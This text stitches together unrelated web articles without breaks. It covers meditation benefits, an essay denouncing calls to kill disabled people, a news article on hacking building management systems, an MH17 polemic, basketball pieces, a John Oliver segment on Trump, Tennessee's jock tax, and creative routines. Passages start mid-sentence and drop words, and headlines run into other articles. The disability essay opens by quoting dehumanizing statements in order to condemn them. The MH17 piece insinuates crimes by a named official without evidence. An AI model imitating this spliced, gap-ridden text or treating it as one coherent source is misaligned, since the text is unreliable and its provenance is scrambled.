• Politi: Giants' Jerry Reese has seen his conviction turn into vindicationThere are so many advantages to meditation. Hundreds of studies suggest that meditation doesn’t just decrease stress levels but that it also has tangible health benefits such as improved immunity, lower inflammation and decreased pain. Additionally, brain-imaging studies show that meditation sharpens attention and memory.
Here is the list of benefits that meditation can provide you with:
1. You will become more mindful and aware
Being mindful means that you are more aware of your thoughts and your actions in general. Unless you are in a heightened state of awareness, you can’t observe your thoughts rationally.
Meditation offers you the time to reflect on your thoughts and focus mainly on your breathing or some other aspect of your being. It gives you the awareness to refocus your mind on the present moment, as opposed to the past of the future.
2. It lowers stress — literally.
Research published just last month in the journal Health Psychology shows that mindfulness is not only associated with feeling less stressed, it’s also linked with decreased levels of the stress hormone cortisol.
3. You will likely make better life decisions
As you gain more awareness of your thoughts, actions, and emotions, you will notice that you make better decisions. Instead of merely reacting to adverse situations, you will obtain a more useful comprehension of what’s going on in your mind.
This comprehension arms you with the skills to think before you act and therefore make purposeful decisions.
4. It increases blood flow and slows the heart rate.
5. It works as the brain’s “volume knob.”
Ever wondered why mindfulness meditation can make you feel more focused and zen? It’s because it helps the brain to have better control over processing pain and emotions, specifically through the control of cortical alpha rhythms (which play a role in what senses our minds are attentive to), according to a study in the journal Frontiers in Human Neuroscience.
6. You can experience more well-being
Who doesn’t want to be happier and feel more contentment with life? Meditating consistently is a great way to open up your eyes to your life, and really experience all that life has to offer.
It will help you appreciate life more and feel more connected with the word you live in.
7. It supports your weight-loss goals.
Trying to shed a few pounds to get to a healthier weight? Mindfulness could be your best friend, according to a survey of psychologists conducted by Consumer Reports and the American Psychological Association. Mindfulness training was considered an “excellent” or “good” strategy for weight loss by seven out of 10 psychologists in the survey.
8. It helps you sleep better.
We saved the best for last! A University of Utah study found that mindfulness training can not only help us better control our emotions and moods, but it can also help us sleep better at night. “People who reported higher levels of mindfulness described better control over their emotions and behaviours during the day. In addition, higher mindfulness was associated with lower activation at bedtime, which could have benefits for sleep quality and future ability to manage stress,” study researcher Holly Rau said in a statement
Source: avicennanotes.blogspot.comThe disabled are better off dead. They suck up resources and contribute little to society. With limited medical personnel, medications, and money, why should these parasites be alive? Why not kill them? Shouldn’t we consider the impact of keeping the disabled going? Would it be acceptable to euthanize those with disabilities to decrease the surplus population?
These are the frightening words which I hear with more and more frequency, and they are absolutely sickening. You would think such words would be met with disdain from the public; however, there is growing support for this line of thought. Increasingly there are articles and reports which vilify the disabled in the same way that serial killers objectify their victims. Those with disabilities are described as burdens with nothing to offer. Worse, they are referred to as parasites that suck resources from financial and medical systems. There is very much an ‘us’ against ‘them’ mentality taking hold. Though few would ever admit it, it is clear that a large number of people want nothing to do with those who have disabilities. Furthermore, there is a wolf pack mentality taking hold which targets the weak for termination. The healthy, rich, and young are forming an alliance like a wolf pack intent on tearing apart its target. The targets are the disabled who are least able to defend themselves. To be clear, these are people who have not expressed any desire to die.
The venom and hatred directed at those who are deemed to be physically or mentally unworthy is staggering. Now more than ever, we hear stories of scientists, doctors, and those in arguing that it is acceptable to euthanize those who are not physically or mentally in the norm. Some would like to grab their organs while others simply want to be relieved of a responsibility. Human beings are being objectified in order to make it easy to kill them.
who their disabled children have big hearts. They work hard to make sure their loved ones have what they need. Nurturing and caring, these parents see value in their kids. Then on the other hand we have reports of parents who have killed or seek to kill their disabled children simply because they don’t want to deal with them anymore. In at least one of these cases, the parent seeking to become executioner has not been financially or physically responsible for the children for many years. Despite this, she still wants them dead.
But it gets worse. In cases where parents or care takers have actually committed homicide, they show no remorse. Instead of hanging their heads in, the defiant killers loudly announce their ‘accomplishment’ as if it were an honor, as if they had done something wonderful in snuffing out a disabled person’s life.
It isn’t just parents who seek to kill off the disabled. Family members and even those with no connection seek to end the lives of those who don’t fit in what would be considered a ‘normal’ life. Everything from, to quadriplegia, to MS, to mental disability is targeted. In short, if you are not in the norm, watch out. There are predators gunning for you.
Almost invariably the death seekers argue that they would never want to live as invalids, so therefore, no one should. They can’t see any value to such a life. You will hear others say that in cases where communication is limited, if only the disabled could speak, they’d tell you they want to be killed. This is clear projection on the part of the would-be killer. What such a person is really saying is that he would want to die, or at least, he believes that he would want to die rather than live in a certain condition. He is communicating for himself, not for the potential victim.
Few want to see those who are disabled because it reminds them of what can happen to them, and they don’t want that. No one wants to believe that they could end up with a disability, so, they objectify in order to distance themselves emotionally. Instead of being a child or a wife or a father, the person with a handicap is viewed as a ‘thing.’ You will hear the truly psychopathic mutter phrases like ‘he’s like a plant,’ or ‘he’d be better off dead.’ Using such language makes it easier to make the horrendous supposition that the disabled should be put down like dogs. Some have said that the disabled have died anyway, so why not finish them off? This has been said about people who have had strokes or are in wheelchairs.
Someone who wants to kill the disabled is speaking loud and clear. At the heart of his communication he is saying that the disabled offend him in some way. Whether he doesn’t want to spend money, whether he just doesn’t want to see them, whether he wants power over life and death, or whether he is simply making a pathetic grab for himself, the cannot be assumed to be benign. Anytime killing others is discussed, you have to ask the question ‘why.’ Why is it so important to kill off certain people? What is in it for the killer? What benefit is to be had? When it gets down to it, the truth typically involves money and/or emotional benefit.
What is the emotional benefit? Ending stress can be the reward. For someone who is tied to those with special needs, the process can be, and for a handful of those relatives or caretakers, killing is preferable to allowing the victim to live. No victim…..no stress. No victim…..no mess. Offing the disabled allows the executioner to wrap things up in a neat little package. Not only does he remove his problem, but he gains attention and sympathy at the same time for his ‘loss.’
You have to carefully watch these predators because they are clever in how they preemptively strike out against anyone who may question their motives. They begin with a ‘don’t you even glance my way to say I’m a bad person for wanting to kill. I’m the victim here!’ They will work hard in an attempt to garner sympathy for themselves in order to distract you from the fact that they want to kill someone. This is a ploy meant to objectify the potential victims while at the same time humanizing themselves. This is strange because while desperately trying to humanize themselves, they take away a disabled person’s humanity. They do so by changing the victims into things instead of people. They seek to get support without truly talking about what they really want to do. How very clever of them.
The disabled add much to the world and are an inspiration to those who pay attention. Living with difficulties can be challenging, to say the least. However, those who have been placed in the situation of dealing with disability often have an amazing insight into what really matters in life. Trivial things mean very little. A person’s heart and spirit are what matter, and no one exemplifies this more than those who find creative ways to do things that others take for granted.
If you have ever had the privilege of working with or spending time with those with disabilities, then you will see that they are not simply objects to be euthanized because they offend you. Just a smile from a disabled child can help brighten the day of those nearby. Have you ever seen the artwork of a quadriplegic? They can manipulate the brush with their mouths to create amazing pictures.
Isn’t it interesting that there are rescue groups for unwanted to save them from euthanasia, yet there is an entire coalition bent on euthanizing humans who have expressed no desire for death? I continually hear people say that the disabled are suffering, so killing them is humane. Would you like to know how many serial killers have told me that? I interviewed a large group of female serial killers, many of whom killed sick or disabled victims. They claimed they did it to put the victims out of their misery. Same words, folks. In truth, the serial murderers didn’t have the welfare of the victims in mind. They killed because they enjoyed it. It brought them power, money, or stress relief. Sound familiar?
Those seeking to condemn disabled view them as nothings to be thrown away, just like trash. For the people out there who think it is noble to kill those with special needs, let me tell you something. There is nothing honorable about killing off the weak. I hear such phrases as ‘don’t you judge me unless you’ve walked in my shoes!” Funny thing is that the death advocates clearly are not in the shoes of those they seek to kill. And they are NOT putting themselves into those shoes. The truth is you don’t know how you will react until you are placed into any situation. You may spout off that you wouldn’t want to live a certain way, but things become much different when you are on the other end of the death needle.
In the UK a young quadriplegic starved herself to death because she stated that her family routinely tormented her by saying what a burden she was to them. The comments from the public were staggering. People praised the girl for offing herself because to them she was a worthless burden. They wouldn’t want to have to take care of a family member in that situation. It would cut into their fun time, and after all, seeing someone in that state was depressing. Better to kill them off than have to watch them, and certainly if it is not legal to kill them, then them into will work too.
Remember that the Nazis first went after the disabled. Then they moved to the nondisabled, lest you think that you could never be on the chopping block. Psychopathic behavior is psychopathic behavior, and a true monster will never stop with just one victim. There will always be a reason to vilify a human being. Now it is disability. Next it might be socioeconomic status. Beware of those peddling death as a solution.
A person is no less valuable because he is in a wheelchair or bed bound. A person is not less valuable because an illness has robbed him of the use of his body. A disable person is no less human because he must wear an adult undergarment. A human being is not less desirable because he has a mental handicap. In many ways the disabled can be viewed as exceptional. They fight simply to survive which makes them strong in ways that even they do not realize.
I know in this there will be many who don’t like this article. Psychopaths are abundant, and darkness always hides from light. People don’t like having mirrors held up to them because when that happens, they have to look at the ugliness staring back at them. And I am not talking about their physical appearances. If you are a, you may be able to fool some of the people some of the time. But you sure as anything are not fooling me.Image copyright Thinkstock Image caption Experts say it is "shockingly" easy to hack into a building
In 2013, Google - one of the world's pre-eminent tech companies - was hacked.
It wasn't its search engine that was attacked or its advertising platform or even its social network, Google+. Instead, it was a building.
Two cybersecurity experts hacked into its Wharf 7 office in Sydney, Australia, through Google's building management system (BMS).
One of them, Billy Rios, says: "Me and my colleague have a lot of experience in cybersecurity, but it is not something that people couldn't learn.
"Once you understand how the systems work, it is very simple."
He found the vulnerable systems on Shodan, a search engine that lists devices connected to the internet, and then ran it through his own software to identify who owned the building.
Image copyright Thinkstock Image caption Attacks on buildings were probably happening "all the time", said one expert
In the case of the Google hack, the researchers had no nefarious purpose, did no damage and informed Google about the vulnerabilities they found.
According to Mr Rios, who runs security company Whitescope, there are 50,000 buildings currently connected to the internet - including research facilities, churches and hospitals, and 2,000 of those are online with no password protection.
"That is 2,000 buildings where you can access systems that heat and cool the building and potentially gain access to the controls of the doors," he says.
Martyn Thomas, a professor of IT at Gresham College in the UK, tells the BBC: "It is beyond doubt that attempts to attack building management systems are happening all the time."
Making a building smart generally means connecting the systems that control heating, lighting and security to the internet and the wider corporate network.
There was a compelling reason for doing this, said Andrew Kelly, principal security consultant at defence company Qinetiq.
"Energy savings are the biggest factor in connecting building management systems to the corporate network," he says.
"It gives those who run the building better control and offers between 20 to 50% in energy savings."
Image copyright Thinkstock Image caption A hacker with control of heating or lighting could have serious consequences in a hospital
But it also makes them less secure.
There are various scenarios where a hacked building could have dire consequences.
Imagine, for instance, a malicious attack at an old people's home where, in the depth of winter, hackers gain control of the heating system and shut it down.
Or a hospital where hackers take over the lighting or electricity system.
Or thieves who walk into a building they want to rob simply by overriding the system that controls the security.
And if any of these feels like a Hollywood film script, think again.
In 2013, the US Department of Homeland Security revealed hackers had broken into a "state government facility" and made it "unusually warm".
And, in 2014, security consultant Jesus Molina told US cybersecurity conference Black Hat he had been able to gain full control of lighting, temperature and the entertainment system of 200 rooms while staying at the St Regis hotel in the Chinese city of Shenzhen.
Some of the most high-profile attacks in recent years have taken advantage of the vulnerability of building management systems.
Image copyright Reuters Image caption Ukraine had to turn to back-up power sources, following a spate of power cuts
An attack on US retailer Target, in which millions of customers' credit card information was stolen, was traced back to the heating and ventilation system.
And, at the beginning of the year, a Ukrainian power station was hacked. Although spear-phishing - where an employee is duped into bringing malware into the system by clicking on an email or link - was blamed as the means of entry, the result was physical - nearly 80,000 customers were left without power.
Mr Kelly tells the BBC: "We have seen plenty of ransomware attacks where computers are encrypted by hackers and only decrypted if the company pays money, and it is very easy to see a scenario of such an attack on a building management system, where a factory or hospital is disabled and hackers request payment.
"It is on the horizon, it is just a matter of time,"
Mr Kelly has recently conducted a survey of smart buildings, ranging in size from small businesses with just a handful of employees to those with thousands of staff.
It was the building management systems that jumped out as the most vulnerable.
"In all cases, pretty much without fail, these systems had been procured without thought to how to make them secure. I was absolutely shocked," he tells the BBC.
"We saw systems installed with default passwords where it would be a trivial exercise for someone remotely to gain access."
Image copyright Thnkstock Image caption Often the weakest link is the people installing smart systems
And he found many building management systems were plugged into the corporate network "without thought about who had access or the impact of someone accessing the data in this network".
Image copyright Thinkstock Image caption Will we need to work in offices in the future?
Tomorrow's Buildings
Just as a plumber wouldn't worry about home security, so those installing building management systems may not think about security.
"Almost anyone can set up as a BMS installer - it is a bit like taking your car to a garage with mechanics with no qualifications," Mr Kelly says.
He recommends these smart systems are kept entirely separate from corporate networks, because it is virtually impossible to ensure the code behind them is hacker-proof.
Prof Thomas says: "These BMS systems have hundreds of thousands of lines of code, and yet the average programmer makes 20 mistakes in every 1,000 lines of code, so there are lot of bugs there."
Football game
Image copyright Thinkstock Image caption Could a fan change a football game from the comfort of his or her sofa?
For Mr Rios, the experiment at Google proved no company - even one of the most hi-tech in the world - is immune to the growing threat of insecure buildings.
In a report written about some of the vulnerabilities he found in buildings, he highlights one of the more unusual possible hacks.
He found Alabama's Bryant Denny football stadium had an exposed system that could have allowed hackers not just to turn off the lights and heating in parts of the stadium but also interfere with the game clock, which, in turn, could have affected the "integrity of the game".
"Imagine if a fan could impact the outcome of a professional or college sporting event while sitting comfortably on their home couch," he says.Email This Post - Print This Post
By John Helmer, Moscow
Tjibbe Joustra (lead image, right), chairman of the Dutch Safety Board, wants it to be very clear that Russia is criminally responsible for the destruction of Malaysian Airlines Flight MH17 on July 17, 2014; that a Russian-supplied ground-to-air missile, fired on Russian orders from territory under Russian control, exploded lethally to break up the MH17 aircraft in the air, killing everyone on board; and that Russian objections to these conclusions are no more than cover-up and dissimulation for the guilty.
Joustra also wants to make sure that no direct evidence for what he says can be tested, not in the report which his agency issued last week; nor in the three Dutch government organs which prepared and analysed the evidence of the victims’ bodies, the aircraft remains, and the missile parts on contract to the Dutch Safety Board (DSB) – the Dutch National Aerospace Laboratory (NLR), the Netherlands Organization for Applied Scientific Research ( TNO), and the Netherlands Forensic Institute (NFI). So Joustra began broadcasting his version of what he says happened before the release of the DSB report. He then continued in an anteroom of the Gilze-Rijen airbase, where the DSB report was presented to the press; in a Dutch television studio; and on the pages of the Dutch newspapers.
But when he and his spokesman were asked today for the evidence for what Joustra has been broadcasting, they insisted that if the evidence isn’t to be found in the DSB report, Joustra’s evidence cannot be released. So, if the evidence for Joustra’s claims cannot be found in the NLR, TMO and NFI reports either, what exactly is Joustra doing – is he telling the truth? Is he broadcasting propaganda? Is he lying? Is he covering up for a crime?
In the absence of the evidence required to substantiate what the DSB chairman is broadcasting, is the likelihood that Joustra is concealing who perpetrated the crime equal to the probability that he is telling the truth? And if there is such a chance that Joustra is concealing or covering up, is this evidence that Joustra may be committing a crime himself? In English law, that may be the crime of perverting the course of justice. In US law, it might be the crime of obstruction of justice. In German law, it might be the crime of Vortäuschung einer Straftat. By the standard of World War II, Joustra’s crime might be propagandizing for the losing side, that’s to say the enemy of the winning side.
When William Joyce (lead image, left, centre), an Anglo-American broadcaster on German radio during the war and known as Lord Haw-Haw, was prosecuted in London in 1945, he was convicted of treason and hanged. The treason indictment said he “did aid and assist the enemies of the King by broadcasting to the King’s subjects propaganda on behalf of the King’s enemies.” The legality of this indictment and the conviction was upheld by the Court of Appeal and the House of Lords.
By the customary civilized standard, Joustra must be considered innocent of any crime of broadcasting unless he’s proven guilty. And the proof of such a crime would require evidence admissible in court, acceptable to a judge or jury beyond reasonable doubt. Of course, such a standard of Joustra’s innocence will be the standard by which his public statements must also be judged. But if Joustra lacks the evidence for what he is claiming in his broadcasts then perhaps the evidence is also lacking for his innocence of crime.
Joustra, 64, has served most of his career as a Dutch government apparatchik, first at the Ministry of Agriculture; then at the agency for unemployment benefits; then coordinator of anti-terrorism operations; and since February 2011 at the DSB. Last Tuesday, after presenting the DSB report to the press, but not allowing questions, Joustra spoke briefly to Dutch reporters. He told them what had not been reported in several hundred pages of the DSB’s report and appendixes – that he has pinpointed the launch area for the Buk missile, and that it “was controlled by separatists at the time. The area that we designate as launch location is located within this area.” “So they [separatists] are responsible?” the reporter asked. “We can’t answer this question. It’s not for the DSB to do this.” The reporter asked: “One plus one equals two, doesn’t it?” “Yes, that’s true,” Joustra said. “Sometimes another person needs to make this calculation.”
A little later Joustra gave an interview to the Dutch newspaper Volkskrant, which published the text of his remarks on October 16. Joustra told the newspaper the evidence of the Buk missile was “irrefutable”. He was “certain”, he added, that the firing position was from what the newspaper described as “pro-Russian rebel held territory.” Joustra told the reporters to look closely at the DSB document for the evidence. “I thought it was clear.” He claimed his saying-so was “factual, not a slip”.
Joustra went further, dismissing criticism of the DSB’s evidence and conclusions. “Every time the Russians come up with different stories and different speakers,” Joustra told Volkskrant. “I’ve got the impression that they are trying to take the report back and it does not matter what argument.” |
guidance as new questions arise. The FDA encourages companies to consider the information in the August guidance as they prepare to comply by December 2016.
There will be an opportunity for comment on the draft guidance and the FDA will review any comments received as quickly as possible.
In addition to the guidance, the FDA will also provide educational and technical assistance for the covered businesses and for our state, local, and tribal regulatory partners to support reasonable and consistent compliance nationwide. Now and following the December 1, 2016 compliance date, the FDA will work flexibly and collaboratively with individual companies making a good faith effort to comply with the law.
For Additional Information:By: Jared Williams
I don’t attend Warriors games often but Monday night (vs. Washington) I was fortunate enough to possess a seat inside Oracle. Sitting to my right were a father and son embarking on the holy grail of trips: every NBA arena in 90 days. The Warriors were their 23rd stop, so I asked how Oracle compared to other arenas, and the son professed “we’ve been looking forward to this for weeks”, with the father adding “Oracle’s the loudest by far”.
This was during a blowout. Oracle was definitely hyped, but this wasn’t a Richter scale altering evening. Yet, the father and son could feel the uniqueness of it all. What makes the Warriors different? What makes for that unique feeling? I believe almost 4 decades of failure and occasional mediocrity has forged a franchise whose identity is its fan base. For Warriors fans the team isn’t “they” or “them”, it’s “we”. Quantifying feelings is just as difficult as accurately quantifying the depths of the Warriors’ past -in this piece I’ll attempt to do both.
The history of the Warriors reads like an “absolutely-positively-at-all-costs don’t do this” section out of Managing A NBA Team For Dummies.
-Don’t trade lottery picks for aging or injured declining players. A cherished Warriors management technique, the Dubs have most notably done this twice: 1979 when they flipped the 9th overall pick for JoJo White who played a whopping 120 games for the Warriors before retiring, and 1990 when they traded their 2nd overall pick to Seattle for Alton Lister -Seattle would go on to draft some guy named Gary Payton.
-Don’t blow up your team following your most successful season in a decade. Excluding the current team, this has happened to every successful core group the Warriors have had since the 1970s; in other words, this has happened twice. In 1991 when the Warriors blew up the Run TMC team by trading a 25 year-old shooting guard averaging 23.9 points per game, Mitch Richmond.In a reprisal of this “destroy the best thing you’ve had in years motto”, the Warriors let Baron Davis sign with the Clippers one year after the “We Believe” season ended. On a recent BS Report podcast (with Bill Simmons) Davis proclaimed the Clippers offered two times more (5 years, $65 million) than the Warriors because ya know, that’s how we roll.
-Don’t draft generically named players. This is a proven NBA law -the best players have the best names. Outside of Bill Russell (because a man with 11 rings is always an exception), think of the all-time greats: Jordan, Kareem Abdul-Jabbar (Lew Alcindor was cool too), Bird, Magic, Wilt, West, Hakeem, Shaq, Kobe, and Lebron. Those names are first-ballot hall of famers in the Hall of Name! Now, look at the Warriors’ biggest draft misses: in 1978 the Warriors draft Purvis Short one pick ahead of Larry Bird, in 1980 the Warriors draft Joe Carroll over Kevin McHale, in 1995 the Warriors draft Joe Smith with their #1 overall pick ahead of Kevin Garnett, and in 1996 the Warriors draft Todd Fuller two picks ahead of Kobe and four ahead of Nash. While the law of names never fails (just look at the current team: Curry, Klay, Draymond, Iguodala, Bogut, and more), the real point is the Warriors’ drafting -or lack thereof. For those keeping track at home, that was Purvis Short, Joe Carroll, Joe Smith, and Todd Fuller instead of Bird, McHale, Garnett, and Kobe/Nash.
-Don’t give your best draft pick in decades an out after his rookie season. This is literately insane to imagine now -let’s call it getting Webbered. In 1994 the Warriors drafted Chris Webber who immediately began redefining NBA offense, won Rookie of the Year, and possessed a rookie deal that somehow gave him an out after his rookie season (via a one-year option that would force the Warriors into a trade). Webber demanded such trade and the Warriors averaged 33 wins for the next decade.
And to think none of those top four “definitely do not do this” moves included, letting an all-time great head coach leave your organization (Gregg Popovich was a Warriors assistant in 1992), solving your big-man issue by drafting Ike Diogu, Patrick O’Bryant, Brandon Wright (via draft day trade), and Anthony Randolph in successive years, or employing a player who choked his coach (Lawrell Sprewell).
Warriors fans have had every reason to ditch this franchise. Instead, they’ve turned Oracle Arena into the NBA’s version of Rucker Park. A place where fans cheer for more than 3s and dunks, they cheer effective defensive rotations and notice subtle improvements in their players. A place where coaches such as Gregg Popovich openly admit to calling timeouts quicker during a Warriors run because the crowd’s delirium can begin affecting the game. A place with a season ticket waitlist (10,000) nearly exceeding the number of the season tickets distributed per year (12,000).
Imagine if the logo of a team derived from its identity: Cleveland’s would be Lebron manically attempting to erase the city’s sports history, Houston’s would be a calculator morphed with an oversized beard, San Antonio’s would just be Popovich, and Golden State’s would be lifelong fans with jerseys from a decade ago going absolutely berserk during a somewhat meaningless game.
An old proverb states, “It takes a village to raise a child”.
For close to 40 years, Warriors fans have played the role of the village; at long last the child has begun to mature. The fans and team aren’t independent of each other, they’re incredibly connected by a history of futility and unwavering support. The Warriors are the story of a franchise defined not by a player, coach, or owner, but by their supporters. That’s incredibly unique in modern sports. That’s why Warriors fans get to say “we”.John Oliver is finally taking on Donald Trump -- and the “Last Week Tonight” host is not mincing words.
“At this point, Donald Trump is America’s back mole,” Oliver said on Sunday’s episode. “It may have seemed harmless a year ago, but now that it’s become frighteningly bigger, it’s no longer wise to ignore it.”
Oliver, who has largely avoided discussing Trump on his show, was unequivocal in his criticism of the Republican frontrunner.
Trump is a “bullshit artist,” Oliver said, and “a litigious serial liar with a string of broken business ventures and the support of a former Klan leader.”
Over the course of about 20 minutes, Oliver systematically dismantled Trump’s “successful” and “tough” image, and urged voters to think deeply about the billionaire's policies rather than focusing on his “brand.”
“A candidate for president needs a coherent set of policies. Whatever you think about Marco Rubio and Ted Cruz, at least you basically know where they stand, but Trump’s opinions have been wildly inconsistent,” said Oliver. “He’s been pro choice and pro life; he’s been for and against assault weapon bans; in favor of both bringing in Syrian refugees and deporting them out of the country.”
What’s frightening, Oliver added, is that “we have no way of knowing which of [Trump’s] inconsistent views he will hold in office … Will he stand by his statement that vaccines are linked to autism or his belief that Mexico is sending us rapists?” Or will he implement his plan to defeat ISIS by killing families of terrorists?
In order to help voters separate the man from the brand, Oliver announced a new campaign to “uncouple the magical word [‘Trump’] from the man he really is.” And it seems Oliver didn't have to dig very deep to find a way to do this.
According to journalist Gwenda Blair in her book “The Trumps: Three Generations That Built An Empire,” Trump's family name was actually changed at one point from the significantly less impressive-sounding last name “Drumpf.”
“Fucking Drumpf!” Oliver exclaimed with delight. “Drumpf is much less magical. It’s the sound produced when a morbidly obese pigeon flies into the window of a foreclosed Old Navy. Drumpf: It’s the sound of a bottle of store-brand root beer falling off the shelf in a gas station minimart.”
Oliver told the audience that the show had filed paperwork to trademark the name “Drumpf” and purchased the domain DonaldJDrumpf.com, where netizens can buy a special “Make Donald Drumpf Again” hat. Visitors can even download a Google Chrome extension that will replace the word “Trump” with “Drumpf” whenever it appeared in your browser.
Visit https://t.co/lGqmpDEDFX to download the Drumpfinator Chrome Extension and change every "Trump" in your browser to "Drumpf." — Last Week Tonight (@LastWeekTonight) February 29, 2016
Oliver also asked viewers to help #MakeDonaldDrumpfAgain -- a plea that was quickly answered by social media users.
Tonight's @LastWeekTonight piece on Trump should be required viewing for...well, everyone. #MakeDonaldDrumpfAgain — Joe Henderson (@Henderson_Joe) February 29, 2016
I've never seen John Oliver angrier than he was talking about Trump tonight @LastWeekTonight. #MakeDonaldDrumpfAgain https://t.co/SsmSlXKLI7 — Jim Reedy (@jim_reedy) February 29, 2016
Winner of the night: JOHN OLIVER. Go watch his Trump segment right now. Incredible. @LastWeekTonight #makedonalddrumpfagain — Matty Sumida (@mattysumida) February 29, 2016
Drumpf - An overpriced instrument that produces a stale noise yet still gathers an audience. Also see "windbag". #MakeDonaldDrumpfAgain — Mattastrophe (@smokingmocha) February 29, 2016
That was the best deconstruction so far of the psychology behind a naked emperor mythologized. @LastWeekTonight #MakeDonaldDrumpfAgain — Cameron Leahy (@cameronleahy) February 29, 2016When I first asked Chris Johnson, the lefty shooter from Dayton who signed two 10-day contracts with the Grizzlies last season, about his tax issues in Tennessee, he went into a stock answer about the luxury tax — how he understood Memphis had been facing cost concerns when they finally waived him in February.
But that wasn’t what I had meant at all. Johnson, unbeknownst to him at that time, was about to become the poster boy (poster man?) for a fight against Tennessee’s so-called “jock tax” — one of the harshest and quirkiest in the country, per tax experts. Lots of states have jock taxes; Jared Dudley and other members of the Suns discussed their bewildering state-by-state tax bills in this April piece by the Arizona Republic‘s Paul Coro. The idea is pretty basic: Professional athletes draw giant game checks while playing in different NBA cities, whose residents pay good money to watch those athletes perform in expensive local arenas with expensive game-day infrastructures. Taxing athletes for popping into each city has been an easy way for states to fluff the coffers without hiking taxes for local citizens. Tennessee is also among the group of states that lack a regular income tax, so athletes who live there catch a break in that sense.
But the Tennessee tax is strange, according to Ron Klempner, the interim head of the NBA players’ union, and several other tax experts who have addressed the issue. Any NBA player who is on a team’s roster during any game in Memphis has to pay a flat tax bill of $2,500 for that game. (The same goes for NHL players who pop into Nashville to face the Predators.) The tax applies to a maximum of three games, so that no player pays more than $7,500 per calendar year, Klempner says. The flat rates apply to each player, regardless of his individual income level, and they also apply to Memphis players; Marc Gasol, Zach Randolph, and Tony Wroten all wrote $7,500 checks to the state of Tennessee for last season.
Except the money doesn’t go to the state — another of Tennessee’s jock tax quirks. It goes to the operators of the Grizzlies’ arena, who happen to also own the franchise, Klempner says. The state doesn’t see a dime, at least not directly. The theory is that arena operators will use the extra cash to spruce things up, draw more celebrated acts, and spend in other ways that will ultimately bring more visitors and money to the Memphis area.
“The state is collecting this money on behalf of a private entity,” Klempner says.
One last quirk: The jock tax applies only to certain jocks — NHL and NBA players. Players in the NFL are exempt. So in the end, Johnson earned about $54,000 from those two 10-day deals (eight games played) and had to start his tax prep with a fat $7,500 check to the ownership group that waived him. “I didn’t know much about that tax,” Johnson said Thursday in Las Vegas, where he is playing for the D-League’s Select team at NBA Summer League. “But when I got my check, I noticed there was a lot of money taken out for a 10-day. I mean, I was a little … $2,500 is a lot of money.”
The players’ union is engaged in a quiet battle to have the tax repealed, Klempner says. They’ve engaged with a lobbyist and have the backing of State Senator Jack Johnson, who has introduced a bill that would repeal the tax. They’ve enlisted members of the Grizzlies, including Mike Conley, to lobby behind the scenes ahead of a series of summer hearings. But Conley earned $7.5 million last season, with raises coming in each of the next three, and voters in a state with no income tax aren’t going to break out the tiny violins over a rich guy paying a strangely targeted $7,500 tax bill.
That’s where Johnson comes in. “In certain instances,” Klempner says, “it can actually cost a player money to play in Memphis. It’s completely disproportionate.” Johnson didn’t quite pay to play in Memphis, but there will be cases like his going forward as the Grizz front office uses 10-day contracts to experiment with potential roster fits. Johnson hasn’t committed to lobbying on behalf of the players’ union (or himself), but he’s considering it after chatting with officials in Las Vegas during Summer League. If the repeal effort fails, the NBA players could look to the NHL for a compensation model. That league agreed to reimburse its players for the money they pay under the Tennessee jock tax — about $2 million per season, Klempner estimates.We seem to have a strange but all too human cultural fixation on the daily routines and daily rituals of famous creators, from Vonnegut to Burroughs to Darwin — as if a glimpse of their day-to-day would somehow magically infuse ours with equal potency, or replicating it would allow us to replicate their genius in turn. And though much of this is mere cultural voyeurism, there is something to be said for the value of a well-engineered daily routine to anchor the creative process. Manage Your Day-to-Day: Build Your Routine, Find Your Focus, and Sharpen Your Creative Mind (public library), edited by Behance’s 99U editor-in-chief Jocelyn Glei and featuring contributions from a twenty of today’s most celebrated thinkers and doers, delves into the secrets of this holy grail of creativity.
Reflecting Thomas Edison’s oft-cited proclamation that “genius is one percent inspiration, ninety-nine percent perspiration,” after which 99U is named, the crucial importance of consistent application is a running theme. (Though I prefer to paraphrase Edison to “Genius is one percent inspiration, ninety-nine percent aspiration” — since true aspiration produces effort that feels gratifying rather than merely grueling, enhancing the grit of perspiration with the gift of gratification.)
In the foreword to the book, Behance founder Scott Belsky, author of the indispensable Making Ideas Happen, points to “reactionary workflow” — our tendency to respond to requests and other stimuli rather than create meaningful work — as today’s biggest problem and propounds a call to arms:
It’s time to stop blaming our surroundings and start taking responsibility. While no workplace is perfect, it turns out that our gravest challenges are a lot more primal and personal. Our individual practices ultimately determine what we do and how well we do it. Specifically, it’s our routine (or lack thereof), our capacity to work proactively rather than reactively, and our ability to systematically optimize our work habits over time that determine our ability to make ideas happen. […] Only by taking charge of your day-to-day can you truly make an impact in what matters most to you. I urge you to build a better routine by stepping outside of it, find your focus by rising above the constant cacophony, and sharpen your creative prowess by analyzing what really matters most when it comes to making your ideas happen.
One of the book’s strongest insights comes from Gretchen Rubin — author of The Happiness Project: Or, Why I Spent a Year Trying to Sing in the Morning, Clean My Closets, Fight Right, Read Aristotle, and Generally Have More Fun, one of these 7 essential books on the art and science of happiness, titled after her fantastic blog of the same name — who points to frequency as the key to creative accomplishment:
We tend to overestimate what we can do in a short period, and underestimate what we can do over a long period, provided we work slowly and consistently. Anthony Trollope, the nineteenth-century writer who managed to be a prolific novelist while also revolutionizing the British postal system, observed, “A small daily task, if it be really daily, will beat the labours of a spasmodic Hercules.” Over the long run, the unglamorous habit of frequency fosters both productivity and creativity.
Frequency, she argues, helps facilitate what Arthur Koestler has famously termed “bisociation” — the crucial ability to link the seemingly unlinkable, which is the defining characteristic of the creative mind. Rubin writes:
You’re much more likely to spot surprising relationships and to see fresh connections among ideas, if your mind is constantly humming with issues related to your work. When I’m deep in a project, everything I experience seems to relate to it in a way that’s absolutely exhilarating. The entire world becomes more interesting. That’s critical, because I have a voracious need for material, and as I become hyperaware of potential fodder, ideas pour in. By contrast, working sporadically makes it hard to keep your focus. It’s easy to become blocked, confused, or distracted, or to forget what you were aiming to accomplish. […] Creativity arises from a constant churn of ideas, and one of the easiest ways to encourage that fertile froth is to keep your mind engaged with your project. When you work regularly, inspiration strikes regularly.
Echoing Alexander Graham Bell, who memorably wrote that “it is the man who carefully advances step by step … who is bound to succeed in the greatest degree,” and Virginia Woolf, who extolled the creative benefits of keeping a diary, Rubin writes:
Step by step, you make your way forward. That’s why practices such as daily writing exercises or keeping a daily blog can be so helpful. You see yourself do the work, which shows you that you can do the work. Progress is reassuring and inspiring; panic and then despair set in when you find yourself getting nothing done day after day. One of the painful ironies of work life is that the anxiety of procrastination often makes people even less likely to buckle down in the future.
